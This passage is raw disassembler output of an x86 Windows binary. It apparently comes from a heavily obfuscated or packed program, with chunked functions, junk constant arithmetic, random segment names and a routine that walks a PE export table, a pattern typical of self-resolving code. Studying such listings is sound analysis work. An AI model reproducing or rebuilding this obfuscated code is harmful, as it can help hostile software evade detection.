sub_425182	proc near		; CODE XREF: _7hdaygc1:0042354Bj
					; sub_429532-1143p

; FUNCTION CHUNK AT 004236CF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004236DB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00426747 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004289EF SIZE 00000014 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	al, [eax]
		and	al, 0F6h
		jmp	loc_426747
sub_425182	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	edi, 0A6FC92C5h
		jmp	loc_4268BB
; ---------------------------------------------------------------------------
		and	edi, 0F2735484h
		jmp	sub_42F554
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B5B


loc_4251A5:				; CODE XREF: sub_428B5B:loc_426E56j
		popf
		sub	eax, 40B6EA58h
		mov	[ecx], eax
		jmp	loc_4244AA
; END OF FUNCTION CHUNK	FOR sub_428B5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E076


loc_4251B3:				; CODE XREF: sub_42E076:loc_427874j
		jz	loc_4253C1
		jmp	loc_42E8B8
; END OF FUNCTION CHUNK	FOR sub_42E076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FD11


loc_4251BE:				; CODE XREF: sub_42FD11-A77Bj
					; _7hdaygc1:0042637Bj
		call	sub_42D471
		push	eax
		call	sub_42821A
; END OF FUNCTION CHUNK	FOR sub_42FD11
; START	OF FUNCTION CHUNK FOR sub_42EF91


loc_4251C9:				; CODE XREF: sub_42EF91-A20Cj
		xor	eax, [ebp-8]
		push	eax
		push	ecx
		push	82001D39h
		pop	ecx
		and	ecx, 4033437Ah
		sub	ecx, 5121EBE2h
		rol	ecx, 3


loc_4251E3:				; CODE XREF: _7hdaygc1:0042F16Cj
		jmp	loc_426F7D
; END OF FUNCTION CHUNK	FOR sub_42EF91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A4F1


loc_4251E8:				; CODE XREF: sub_42A4F1-AF7j
		shr	ecx, 9
		jmp	loc_424ED3
; END OF FUNCTION CHUNK	FOR sub_42A4F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AB0F


loc_4251F0:				; CODE XREF: sub_42AB0F+13j
		sub	esi, 0C51C20B2h
		or	esi, 0FA05C446h
		xor	esi, ds:4000F7h
		push	offset loc_42E6B7
		jmp	loc_42F5C2
; END OF FUNCTION CHUNK	FOR sub_42AB0F
; ---------------------------------------------------------------------------


loc_42520C:				; CODE XREF: _7hdaygc1:0042C691j
		pop	edx
		push	36618ED4h
		pop	eax
		add	eax, 476ADB4h
		jmp	loc_42BE99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4269CB


loc_42521E:				; CODE XREF: sub_4269CB+Aj
		jz	loc_42617A
		jmp	loc_424BE1
; END OF FUNCTION CHUNK	FOR sub_4269CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427EF6


loc_425229:				; CODE XREF: sub_427EF6+Cj
		xchg	edx, [esp+0]
		call	sub_42B470
		test	eax, eax
		jz	loc_423C59
		jmp	loc_42471B
; END OF FUNCTION CHUNK	FOR sub_427EF6
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_42D84A
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: _7hdaygc1:0042FA09j
		jmp	sub_42A94C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424963


loc_42524A:				; CODE XREF: sub_424963+BF9j
		jmp	loc_429BA0
; END OF FUNCTION CHUNK	FOR sub_424963

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42524F	proc near		; DATA XREF: _5qvhby1c:0043A645o

; FUNCTION CHUNK AT 004236D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425BF7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426952 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 004273B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042907C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A438 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042B431 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042B64B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CF4C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042D66E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042EFD5 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jns	loc_42D66E
		jmp	loc_42B64B
sub_42524F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42525E	proc near		; CODE XREF: _7hdaygc1:00426718j
					; sub_42EF91-7157p

; FUNCTION CHUNK AT 00423DA9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428B9F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D0B0 SIZE 00000008 BYTES

		xchg	edx, [esp+0]
		pop	edx
		jnz	loc_42D0B0
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	64h
		inc	dword ptr [ebp-20h]


loc_425271:				; CODE XREF: _7hdaygc1:00423112j
		mov	eax, [ebp-20h]
		jmp	loc_428B9F
sub_42525E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_425279:				; CODE XREF: _7hdaygc1:0042BD40j
		jnz	loc_4260C8
; START	OF FUNCTION CHUNK FOR sub_42EF3C


loc_42527F:				; CODE XREF: sub_42EF3C+12j
		jmp	loc_42DE5C
; END OF FUNCTION CHUNK	FOR sub_42EF3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4273CA


loc_425284:				; CODE XREF: sub_4273CA+64BBj
		jmp	loc_42D52B
; END OF FUNCTION CHUNK	FOR sub_4273CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BAD5


loc_425289:				; CODE XREF: sub_42BAD5+Dj
		jmp	loc_425FDC
; END OF FUNCTION CHUNK	FOR sub_42BAD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42528E:				; CODE XREF: sub_42E283-39A2j
		jmp	loc_42E0B9
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------
		test	ebx, eax
		jmp	loc_42D5CD
; ---------------------------------------------------------------------------


loc_42529A:				; DATA XREF: sub_42C209:loc_42FD07o
		cmp	dword ptr [ebp-8], 0
		jz	loc_428DCA
		jmp	loc_4239FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A2EF


loc_4252A9:				; CODE XREF: sub_42A2EF-460Dj
					; _7hdaygc1:0042AECEj
		add	ecx, 27999E68h
		mov	ecx, [ecx]
		call	sub_42A94C
		mov	edx, [ebp-4]
		lea	eax, [ebp-18h]
		jmp	loc_4248DA
; END OF FUNCTION CHUNK	FOR sub_42A2EF
; ---------------------------------------------------------------------------


loc_4252C1:				; CODE XREF: _7hdaygc1:0042831Cj
		test	esi, eax
		jmp	loc_4259D2

; =============== S U B	R O U T	I N E =======================================



sub_4252C8	proc near		; CODE XREF: _7hdaygc1:00424895j
					; sub_42F05E:loc_4273BDp

; FUNCTION CHUNK AT 00425BC1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042A88D SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		shl	eax, 3
		mov	edx, [ebp+8]
		jmp	loc_425BC1
sub_4252C8	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_4252D8:				; CODE XREF: _7hdaygc1:0042E2DCj
		jmp	locret_429B9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBC8


loc_4252DD:				; CODE XREF: sub_42EBC8-A5E5j
		jmp	loc_4245A6
; END OF FUNCTION CHUNK	FOR sub_42EBC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429FC3


loc_4252E2:				; CODE XREF: sub_429FC3-3974j
		mov	[ebp-4], eax
; END OF FUNCTION CHUNK	FOR sub_429FC3
; START	OF FUNCTION CHUNK FOR sub_4273CA


loc_4252E5:				; CODE XREF: sub_4273CA-1D18j
					; sub_429FC3-3986j ...
		mov	eax, [ebp-1Ch]
		call	sub_4237DA
		mov	[ebp-8], eax
		jmp	loc_423AC0
; END OF FUNCTION CHUNK	FOR sub_4273CA

; =============== S U B	R O U T	I N E =======================================



sub_4252F5	proc near		; CODE XREF: sub_429FC3-3979p
					; sub_4273CA+540Bp ...

; FUNCTION CHUNK AT 00429D54 SIZE 00000012 BYTES

		call	sub_423CAC


loc_4252FA:				; CODE XREF: sub_424AE1+438Bj
		jmp	loc_429D54
sub_4252F5	endp

; ---------------------------------------------------------------------------


loc_4252FF:				; CODE XREF: _7hdaygc1:loc_42DACFj
		and	eax, 431D370Fh
		xor	eax, 5FC30F9h
		add	eax, ebp
		add	eax, 0F90ACDE5h
		mov	eax, [eax]
		push	eax
		push	edi
		jmp	loc_42DAC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E254


loc_42531C:				; CODE XREF: sub_42E254:loc_42EE2Cj
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-7], 10h
		jz	loc_42806D
		inc	dword ptr [ebp-8]


loc_42532F:				; CODE XREF: sub_429098:loc_424DA1j
					; sub_429098:loc_42A038j
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		jmp	loc_427E2C
; END OF FUNCTION CHUNK	FOR sub_42E254

; =============== S U B	R O U T	I N E =======================================



sub_425339	proc near		; DATA XREF: _7hdaygc1:loc_424870o

; FUNCTION CHUNK AT 004242B6 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00429401 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042DE46 SIZE 00000005 BYTES

		jb	loc_429401
		mov	ebx, [eax+18h]
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_42DDE3
		mov	ecx, [ebx+ecx+0Ch]
		jmp	loc_425725
sub_425339	endp

; ---------------------------------------------------------------------------


loc_42535A:				; CODE XREF: _7hdaygc1:0042E392j
		jl	loc_42BBB2

; =============== S U B	R O U T	I N E =======================================



sub_425360	proc near		; CODE XREF: _7hdaygc1:004297D4p

; FUNCTION CHUNK AT 00429FF8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042A46E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B5F7 SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	0D7489450h
		pop	ebx
		jmp	loc_42A46E
sub_425360	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	eax
		pop	edx
		xor	edx, [ebp-0Ch]
		add	edx, 2
		jmp	loc_42A24D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427455


loc_42537C:				; CODE XREF: sub_427455:loc_42670Cj
		add	eax, [ebp-4]
		add	eax, 18h
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
; END OF FUNCTION CHUNK	FOR sub_427455
; START	OF FUNCTION CHUNK FOR sub_4273CA


loc_425388:				; CODE XREF: sub_4273CA:loc_42A64Ej
		mov	eax, [eax+60h]
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		mov	eax, [ebp-14h]
		jmp	loc_42D875
; END OF FUNCTION CHUNK	FOR sub_4273CA
; ---------------------------------------------------------------------------
		and	edx, esi
		jmp	loc_4232C1

; =============== S U B	R O U T	I N E =======================================



sub_4253A0	proc near		; CODE XREF: _7hdaygc1:0042BCF1j
					; sub_42C763:loc_42C696p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004237C9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004237F0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00423924 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424BD5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00424DFB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004261DE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004268F1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00426BEC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042721D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428F3D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042935C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A599 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042AEA7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042BC68 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D22D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DD4A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DE39 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042DF52 SIZE 0000000E BYTES

		xchg	eax, [esp+0]
		pop	eax
		cmp	dword ptr [ebp-4], 0


loc_4253A8:				; CODE XREF: _7hdaygc1:00427261j
		jz	loc_4237F0
		jmp	loc_42935C
sub_4253A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		rol	ebp, 1Bh
		xor	eax, 0E49F8286h
		jmp	sub_428B02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E076


loc_4253C1:				; CODE XREF: sub_42E076:loc_4251B3j
					; sub_42E076-35Aj
		add	dword ptr [ebp-4], 4
		call	sub_42C6FB


loc_4253CA:				; CODE XREF: _7hdaygc1:0042EC37j
					; _7hdaygc1:loc_42FDAFj
		call	sub_428C3B


loc_4253CF:				; CODE XREF: _7hdaygc1:loc_42B4D5j
		add	eax, [ebp-0Ch]
		push	esi
		mov	esi, edi
		push	offset loc_42A97B
		jmp	loc_42E779
; END OF FUNCTION CHUNK	FOR sub_42E076
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_4253E0:				; CODE XREF: sub_424AE1+5442j
		jmp	loc_42E939
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F621


loc_4253E5:				; CODE XREF: sub_42F621-9FE2j
		jmp	loc_424799
; END OF FUNCTION CHUNK	FOR sub_42F621
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4246D7


loc_4253EA:				; CODE XREF: sub_4246D7+707j
		jmp	nullsub_134
; END OF FUNCTION CHUNK	FOR sub_4246D7
; ---------------------------------------------------------------------------
		sub	ecx, 0DE2D1E66h
		jmp	sub_425C2C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DDF5


loc_4253FB:				; CODE XREF: sub_42DDF5+22j
		jmp	loc_427105
; END OF FUNCTION CHUNK	FOR sub_42DDF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F528


loc_425400:				; CODE XREF: sub_42F528-204Cj
		rol	edx, 1Fh
		add	edx, 0BFEEBC93h
		xchg	edx, [esp+0]
		jmp	loc_4239CA
; END OF FUNCTION CHUNK	FOR sub_42F528
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA9B


loc_425411:				; CODE XREF: sub_42AA9B:loc_42CEF1j
		and	ecx, 322072AEh
		xor	ecx, 0EF1F0174h
		jnz	loc_42D7AF
; END OF FUNCTION CHUNK	FOR sub_42AA9B
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_425423:				; CODE XREF: sub_42AA07-4CFj
		jmp	loc_427149
; END OF FUNCTION CHUNK	FOR sub_42AA07
; ---------------------------------------------------------------------------
		jnz	loc_42B647
		rol	edx, 4
		jmp	loc_42D7AA
; ---------------------------------------------------------------------------
		xor	ebp, 85A12B60h
		jmp	loc_42F465
; ---------------------------------------------------------------------------


loc_425441:				; DATA XREF: _7hdaygc1:00428AD1o
		mov	esp, ebp
		xchg	ecx, [esp]
		mov	ebp, ecx
		pop	ecx
		mov	eax, ds:dword_42B97C
		push	offset sub_42A92E
		jmp	loc_42F9A0

; =============== S U B	R O U T	I N E =======================================



sub_425459	proc near		; CODE XREF: _7hdaygc1:00429D4Fj
					; sub_428613+3B36p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0042363D SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	ebx, 91ADEE2Ch
		popf
		xchg	ebx, [esp-8+arg_4]
		jmp	loc_42363D
sub_425459	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_42546C:				; CODE XREF: _7hdaygc1:00428493j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42546D:				; CODE XREF: sub_424AE1+66BDj
		jmp	loc_42A162
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291CE


loc_425472:				; CODE XREF: sub_4291CE-3724j
		jmp	loc_42DB10
; END OF FUNCTION CHUNK	FOR sub_4291CE
; ---------------------------------------------------------------------------
		or	esi, ebp
		jmp	loc_42FAB6
; ---------------------------------------------------------------------------
		push	edx
		xchg	eax, [ecx]
		jmp	sub_42F9D2
; ---------------------------------------------------------------------------


loc_425486:				; DATA XREF: _7hdaygc1:0042C8E6o
		cmp	ds:dword_42B9B8, 0
		jmp	loc_4273C2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425492	proc near		; CODE XREF: sub_42948A+4j

; FUNCTION CHUNK AT 00423D9E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00423E70 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042709B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00429669 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00429EAB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042A282 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AE74 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		jmp	loc_42709B
sub_425492	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42549D:				; CODE XREF: _7hdaygc1:0042CCBBj
		not	eax
		cmp	ebx, 5BD84B22h
		jmp	loc_42E61C
; ---------------------------------------------------------------------------


loc_4254AA:				; CODE XREF: _7hdaygc1:0042C5E6j
		jge	loc_42BE4B
		shl	ecx, 1Dh
		jg	loc_4267F1
		jmp	loc_4285AC

; =============== S U B	R O U T	I N E =======================================



sub_4254BE	proc near		; CODE XREF: _7hdaygc1:00428525j
					; sub_42826A+1433p

; FUNCTION CHUNK AT 00428108 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042CA23 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	edx, [ebp-4]
		add	eax, edx
		jmp	loc_42CA23
sub_4254BE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_4254CC:				; CODE XREF: sub_425F27:loc_42EA39j
					; _7hdaygc1:0042EA4Cj
		add	edx, 0D3D24C55h
		xchg	edx, [esp+0]
		jmp	loc_42CD8F
; END OF FUNCTION CHUNK	FOR sub_425F27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_4254DA:				; CODE XREF: sub_4291EA+BF2j
		jp	loc_42B60F
		pushf
		jmp	loc_42C2C6
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_4254E6:				; CODE XREF: sub_429318-62B7j
		jbe	loc_42C0FB
		push	ebp


loc_4254ED:				; CODE XREF: sub_42821A:loc_423804j
		cmp	dword ptr [ebp-8], 103h
		jz	loc_42E49F
		jmp	loc_424633
; END OF FUNCTION CHUNK	FOR sub_429318
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B0DC


loc_4254FF:				; CODE XREF: sub_42B0DC+Fj
		call	sub_42A052


loc_425504:				; DATA XREF: sub_4291EA+30F1o
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+4+var_4]
		ror	eax, 16h
		mov	ds:dword_42E1B4, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42B0DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AF7


loc_425514:				; CODE XREF: sub_428AF7+6j
		jmp	loc_428D7A
; END OF FUNCTION CHUNK	FOR sub_428AF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_425519:				; CODE XREF: sub_4291EA-1F37j
		rol	eax, 16h
		push	eax
		jmp	loc_42C164
; END OF FUNCTION CHUNK	FOR sub_4291EA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425522	proc near		; CODE XREF: sub_42AA07:loc_42B625j

; FUNCTION CHUNK AT 00423252 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00425851 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428FE8 SIZE 00000018 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		jmp	loc_423252
sub_425522	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C7F3


loc_42552C:				; CODE XREF: sub_42C7F3+1552j
		popf


loc_42552D:				; CODE XREF: sub_42C7F3:loc_42DD3Dj
		add	edx, 9AD1C19Ah
		sub	edx, 0E86DEB78h
		jnz	loc_426C51
		add	ecx, ebp
		jmp	loc_42C2AB
; END OF FUNCTION CHUNK	FOR sub_42C7F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424963


loc_425546:				; CODE XREF: sub_424963+832Cj
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_4237DA
		cmp	eax, [ebp-8]
		jnz	loc_42D0B8
		jmp	loc_42524A
; END OF FUNCTION CHUNK	FOR sub_424963

; =============== S U B	R O U T	I N E =======================================



sub_425561	proc near		; DATA XREF: _7hdaygc1:0042668Co

; FUNCTION CHUNK AT 00423A41 SIZE 0000001A BYTES

		push	esi
		push	6B0FEA83h
		pop	esi
		and	esi, 9C396E2Bh
		jmp	loc_423A41
sub_425561	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FD11


loc_425573:				; CODE XREF: sub_42FD11-8C0j
		and	eax, 6D99858Ch
		xor	eax, 0FCB6D440h
		and	eax, 0E9FE9EDAh
		xor	eax, 6790ECAFh
		add	eax, ebp
		add	eax, 31C98789h
		push	eax
		xor	eax, eax
		jmp	loc_4251BE
; END OF FUNCTION CHUNK	FOR sub_42FD11
; ---------------------------------------------------------------------------


loc_42559B:				; CODE XREF: _7hdaygc1:00428CFEj
		add	edx, ebp
		add	edx, 0B792B6AAh
		mov	edx, [edx]
		lea	eax, [ebp-18h]
		mov	ecx, [ebp-30h]
		jmp	loc_428878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_4255B0:				; CODE XREF: sub_425A37:loc_428B4Aj
		jnz	loc_42CBA7
		or	ebp, 5CB1347Ch
		shr	esi, 1
		rol	ecx, 19h
		cmp	edi, 85D42B5Fh
		jmp	loc_42CB9B
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_4255CC:				; CODE XREF: sub_42AFFE-6E36j
		xchg	eax, [esp+8+var_8]
		jmp	loc_42E7C1
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_4255D4:				; CODE XREF: sub_42E283:loc_42B872j
		xchg	ebx, [esp+0]
		push	offset loc_42C245
		jmp	nullsub_84
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42616B


loc_4255E1:				; CODE XREF: sub_42616B+42B7j
		or	edi, 0C624BDD6h
		jp	nullsub_179
; END OF FUNCTION CHUNK	FOR sub_42616B
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_4255ED:				; CODE XREF: sub_425F27+44B6j
		pop	esi
		jmp	sub_424359
; END OF FUNCTION CHUNK	FOR sub_425F27

; =============== S U B	R O U T	I N E =======================================



sub_4255F3	proc near		; DATA XREF: sub_426471:loc_4250D1o
		or	eax, eax
		jnz	loc_4280F2
		jmp	loc_425E53
sub_4255F3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE7D


loc_425600:				; CODE XREF: sub_42BE7D+17j
		call	sub_42409E


loc_425605:				; DATA XREF: sub_4273E3+7o
		test	byte ptr [eax-8], 8
		setnz	al
		call	sub_42A3F7
		pop	ecx
		mov	edx, [ebp+8]
		imul	dword ptr [edx-4]
		jmp	loc_42E8BE
; END OF FUNCTION CHUNK	FOR sub_42BE7D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_191. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

locret_42561E:				; CODE XREF: _7hdaygc1:loc_42C47Cj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F621


loc_42561F:				; CODE XREF: sub_42F621+1Cj
		add	eax, 7AF98770h
		sub	eax, 6F0E0001h
		or	eax, 46E4AED3h
		sub	eax, 21C0EE84h
		xor	eax, 8809C341h
		add	eax, ebp
		jmp	loc_4253E5
; END OF FUNCTION CHUNK	FOR sub_42F621
; ---------------------------------------------------------------------------


loc_425644:				; CODE XREF: _7hdaygc1:004293DAj
		ror	ecx, 9

; =============== S U B	R O U T	I N E =======================================



sub_425647	proc near		; CODE XREF: sub_42B3AD+1p

; FUNCTION CHUNK AT 00423584 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E5E0 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_42E5E0
sub_425647	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 31h
		dd 0E8000001h, 6, 804DE9h, 2268C300h, 0E9004255h, 62CDh

; =============== S U B	R O U T	I N E =======================================



sub_425670	proc near		; CODE XREF: _7hdaygc1:00424B1Dj
					; sub_42AFFE+C1Ep
		xchg	ebx, [esp+0]


loc_425673:				; CODE XREF: sub_42A92E+1B88j
		pop	ebx
		mov	ds:dword_42515C, eax
		jmp	loc_427227
sub_425670	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42567E	proc near		; CODE XREF: sub_423CAC+4j

var_3C		= dword	ptr -3Ch

; FUNCTION CHUNK AT 004248CF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424946 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428154 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042AD69 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C4A2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D8FC SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042DA52 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E370 SIZE 0000001C BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_42AD69
sub_42567E	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_425687:				; CODE XREF: sub_42C443-4F8j
		jmp	loc_42CF6F
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_42568C:				; CODE XREF: sub_425F27-29E9j
		jmp	loc_42E4CA
; END OF FUNCTION CHUNK	FOR sub_425F27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D30E


loc_425691:				; CODE XREF: sub_42D30E+14j
		xchg	edi, [esp+0]
		push	4DC11311h
		pop	eax
		sub	eax, 3CEA6921h
		jmp	loc_42CA1E
; END OF FUNCTION CHUNK	FOR sub_42D30E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4273CA


loc_4256A5:				; CODE XREF: sub_4273CA:loc_4259CDj
		push	eax
		call	sub_429B49
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_4252E5
		lea	eax, [ebp-125h]
		jmp	loc_42424C
; END OF FUNCTION CHUNK	FOR sub_4273CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427F72


loc_4256C3:				; CODE XREF: sub_427F72:loc_426928j
					; sub_427F72-1636j
		add	edi, 0BCB36409h
		xchg	edi, [esp-4+arg_0]
		jmp	loc_424A26
; END OF FUNCTION CHUNK	FOR sub_427F72
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 11h
		push	esi
		push	5CBD86C1h
		jmp	loc_424256
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B5B

